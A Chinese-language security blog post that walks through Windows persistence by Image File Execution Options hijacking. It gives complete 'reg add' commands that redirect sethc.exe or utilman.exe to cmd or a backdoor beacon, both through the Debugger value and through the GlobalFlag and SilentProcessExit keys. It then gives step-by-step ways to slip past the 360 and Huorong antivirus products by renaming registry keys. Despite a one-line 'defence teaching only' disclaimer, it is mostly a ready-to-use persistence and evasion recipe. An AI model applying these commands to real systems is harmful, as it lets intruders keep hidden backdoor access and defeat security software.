权限维持-映像劫持

admin 2021年9月26日08:48:47评论141 views字数 4186阅读13分57秒阅读模式

一位苦于信息安全的萌新小白帽
本实验仅用于信息防御教学,切勿用于它用途
公众号:XG小刚


映像劫持


原理是注册表路径IFEO(image file execution options)的exe程序被修改,然后进行重定向执行后门程序的过程


第一种:修改Debugger值

运行某exe程序时候,系统会在注册表image file execution option中寻找是否存在exe的项

注册表路径:计算机HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options

存在则寻找该项中Debugger的字符串值,找到则启动debugger值对应的程序,并将某exe文件的完整路径传递给debugger程序

所以我们将Debugger对应的程序改为后门即可运行


例如sethc.exe

在IFEO中新添加一个项,取名sethc.exe

新建一个字符串值Debugger,键值修改为后门(我用的CS生成的beacon)存在的路径或cmd文件

权限维持-映像劫持
关闭注册表,连续五次shitf触发sethc.exe程序
系统就会重定向到指定路径,执行cmd.exe。

命令行操作(需要权限):
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /f
reg add"HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v "debugger" /t REG_SZ /d "C:windowssystem32cmd.exe" /f
utilman.exe 触发win+U
REG ADD "HKLMSOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsutilman.exe" /t REG_SZ /v Debugger /d "C:windowssystem32cmd.exe" /f

第二种:修改GlobalFlag值
在注册表路径IFEO下的exe程序中查看是否有GlobalFlag值为2
权限维持-映像劫持
注册表跳转到SilentProcessExit项下查找该程序
会有两个键值reportingmodemonitorprocess
权限维持-映像劫持
ReportingMode是进程操作状态,
1是进程静默退出,会启动监视器进程
2检测进程静默退出,将会为受监视的进程创建转储文件
3检查到进程静默退出时,会弹出通知
所以将reportingmode改为1
MonitorProcess是监视器进程
MonitorProcess改为后门路径或者改为powershell程序
这样,当程序运行后点击退出时,自动触发后门

命令行操作(需要权限):
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v MonitorProcess /t REG_SZ /d "C:windowssystem32cmd.exe" /f


绕过杀软进行映像劫持

绕过360
修改Debugger映像劫持失败
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v "debugger" /t REG_SZ /d "C:windowssystem32cmd.exe" /f
权限维持-映像劫持
修改GlobalFlag值映像劫持成功
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v MonitorProcess /t REG_SZ /d "C:windowssystem32cmd.exe" /f
权限维持-映像劫持
5次shift成功弹出cmd
权限维持-映像劫持

火绒
修改Debugger映像劫持失败
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v "debugger" /t REG_SZ /d "C:windowssystem32cmd.exe" /f
权限维持-映像劫持
修改GlobalFlag值映像劫持失败
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitsethc.exe" /v MonitorProcess /t REG_SZ /d "C:windowssystem32cmd.exe" /f
权限维持-映像劫持


重命名SilentProcessExit绕过火绒
原理是将SilentProcessExit重命名为其他,然后添加ReportingModeMonitorProcess键值对后,在重新命名回来

先添加GlobalFlag键值对
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe" /v GlobalFlag /t REG_DWORD /d 512 /f
将SilentProcessExit命名为test,这里reg命令没有重命名操作
我自己写了个脚本调用win的RegRenameKey函数进行重命名
Python rename_key.py rename_key "hklmSOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExit" "test"
添加键值对ReportingModeMonitorProcess
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersiontestsethc.exe" /v ReportingMode /t REG_DWORD /d 1 /f
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersiontestsethc.exe" /v MonitorProcess /t REG_SZ /d "C:windowssystem32cmd.exe" /f
再用脚本重新命名回来
Python rename_key.py rename_key "hklmSOFTWAREMicrosoftWindows NTCurrentVersiontest" "SilentProcessExit"

权限维持-映像劫持

成功弹出cmd

重命名Image File Execution Options绕过360和火绒
使用这方法有个前提:Image File Execution Options可以被重命名,有的主机这个项是无法被重命名的,所以就不能用了
权限维持-映像劫持
绕过火绒,和上面方式一样,将Image File Execution Options重命名为test
然后添加sethc.exe项和debugger的值
最后重命名回来Image File Execution Options就能绕过火绒

绕过360,需要将Image File Execution Options导出
权限维持-映像劫持
修改注册表文件Image File Execution Options全部替换成test
权限维持-映像劫持
然后注册表删除Image File Execution Options这个项及里面的所有内容
权限维持-映像劫持
双击reg文件,将test项导入,然后在test项里面添加sethc.exe和debugger值
最后重命名test项为Image File Execution Options即可绕过

脚本获取
公众号回复:注册表重命名

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年9月26日08:48:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限维持-映像劫持https://cn-sec.com/archives/551445.html

发表评论

匿名网友 填写信息